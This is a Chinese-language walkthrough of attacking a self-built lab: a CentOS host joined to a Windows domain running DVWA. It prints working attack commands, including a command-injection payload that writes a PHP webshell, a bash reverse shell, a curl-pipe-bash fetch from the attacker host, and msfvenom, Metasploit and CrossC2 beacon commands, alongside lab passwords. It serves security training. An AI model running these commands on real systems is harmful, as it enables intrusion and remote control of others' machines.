
环境搭建
配置 DC
只用一块网卡

相关信息
10.10.10.10
域管:administrator/@dministrator2021

配置 Centos7
两块网卡,模拟内外网

相关信息
内网:10.10.10.131
公网:192.168.129.136
账号:centos/centos

入域
配置DNS, 没有配置的话无法识别域名
search qwe.local localdomain
nameserver 10.10.10.10
nameserver 192.168.129.2

修改主机名
centtos7.qwe.local
reboot使之生效
安装相关依赖
yum install -y krb5-workstation realmd sssd samba-common adcli oddjob oddjob-mkhomedir samba samba-common-tools加入域控服务器, 并验证是否入域成功
realm join --user=administrator qwe.local
realm list

也可以在Windows AD查看一下,看这台CentOS是否已经加入Windows AD

启动web服务
安装 phpstudy+dvwa
下载并安装phpstudy
yum install -y wget && wget -O install.sh https://notdocker.xp.cn/install.sh && sh install.sh相关信息
外网:http://101.224.210.247:9080/69CA48
内网:http://192.168.129.136:9080/69CA48
系统初始账号:admin
系统初始密码:5cqyYqkyiw

下载DVWA
wget https://github.com/ethicalhack3r/DVWA/archive/master.zip
unzip master.zip
修改配置
mysql:root/root
config.inc.php

启动 dvwa
前台: admin/password

突破边界
漏洞利用
DVWA-Command Injection
发现可以执行ping命令的地方,抓包看看:

大概率存在命令注入,想到之前写的那篇ruijie网关的漏洞复现

是不是有着似曾相识的感觉。
挨个尝试

连接符 &
127.0.0.1&whoami

127.0.0.1&pinc -c 2 dnslog.cn

注意:linux下执行ping 最好加上-c 参数,这里是发两个包。因为linux下若直接使用ping dnslog.cn,将会守护进程,一直发包,如图:

尝试直接用之前的ruijie rce的利用姿势

利用&写入webshell
#<?php @eval($_POST[1]);?> echo "PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==" |base64 -d > webshell.php
访问一下,似乎成功写入了

执行命令测试
1=echo 1;

1=system(whoami);

1=system(whoami);

成功执行命令。
利用&写入Godzilla的🐎
利用哥斯拉直接生成

base64加密,替换之前的文件内容即可

重放,访问,但是报错

看看源码:

估计是这里出错了,修改后base64加密重放,访问:

应该是成了,上哥斯拉

试一试另1种姿势,直接反弹shell
利用&反弹shell
监听端口
nc -lnvp 7777

将shell.sh
bash -i >& dev/tcp/192.168.129.130/7777 0>&1
部署在服务端,

远程加载shell.sh并执行
127.0.0.1&curl http://192.168.129.130:8000/shell.sh |bash

如图,成功接收到目标机的请求

如图,成功反弹shell

DVWA-Upload
文件上传接口
http://192.168.129.136/DVWA/vulnerabilities/upload/
MSF-PHP
生成msf.php
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.129.130 LPORT=5555 R > msf.php
访问,成功反弹shell

信息收集
查看系统内核
lsb_release –a
查看操作系统位数
getconf LONG_BIT

rebootuser/LinEnum
https://github.com/rebootuser/LinEnum
直接目标机上执行
./LinEunm.sh > info.txt
然后将文件下载到本地分析即可,毕竟信息量还是很足的,这也能为提权做好准备。后续就需要收集一些敏感信息,方便扩大战果,比如账号密码、日志、数据库的配置文件等。
内网渗透
Godzilla联动msf
配置
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
run

成功反弹shell

msf上线
生成针对目标的payload
64位
linux
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.129.130 lport=6667 -f elf >msf6667

建立监听,然后用哥斯拉上传执行即可。
CobaltStrike+Cross2
https://github.com/gloxec/CrossC2/releases
CrossC2是一款面向企业自身及红队人员的安全评估框架,支持 CobaltStrike 对其他平台 (Linux/MacOS/…) 的安全评估,支持自定义模块,及包含一些常用的渗透模块,下载后 导入 CNA 后即可使用。
目前所支持的

启动cs
chmod +x teamserver./teamserver 192.168.129.130 don9sec
chmod +x teamserver
./start.sh
新建listener

导入 CNA

图形化生成payload

./genCrossC2-2.1.linux 192.168.129.130 8888 null null x64 c2test

哥斯拉上传目标机器

执行c2test

成功上线:

权限提升
Linux_Exploit_Suggester
https://github.com/InteliSecureLabs/Linux_Exploit_Suggester
jondonas/linux-exploit-suggester-2
https://github.com/jondonas/linux-exploit-suggester-2
belane/linux-soft-exploit-suggester
https://github.com/belane/linux-soft-exploit-suggester
怎么说呢,各位看官在实战的时候还是要慎重,尤其是生产环境,不然很有可能成这样,直接gg(多次重启无效)。

一直卡在这里,文章也只能在这结束了。
总结
其实这篇文章主要是想实操CrossC2 framework生成跨平台beacon上线Linux,想熟悉熟悉Linux在域中的渗透情景,然而由于环境崩掉,只能先到这。再就是因为之前有碰到过redis主从复制 rce进行横向的案例,而且自己最近也致力于各种域渗透靶场,于是想着可以尝试把一些实战场景用靶场的形式模拟出来,不仅可以留作备忘,也可以作为回馈输出给这个圈子。




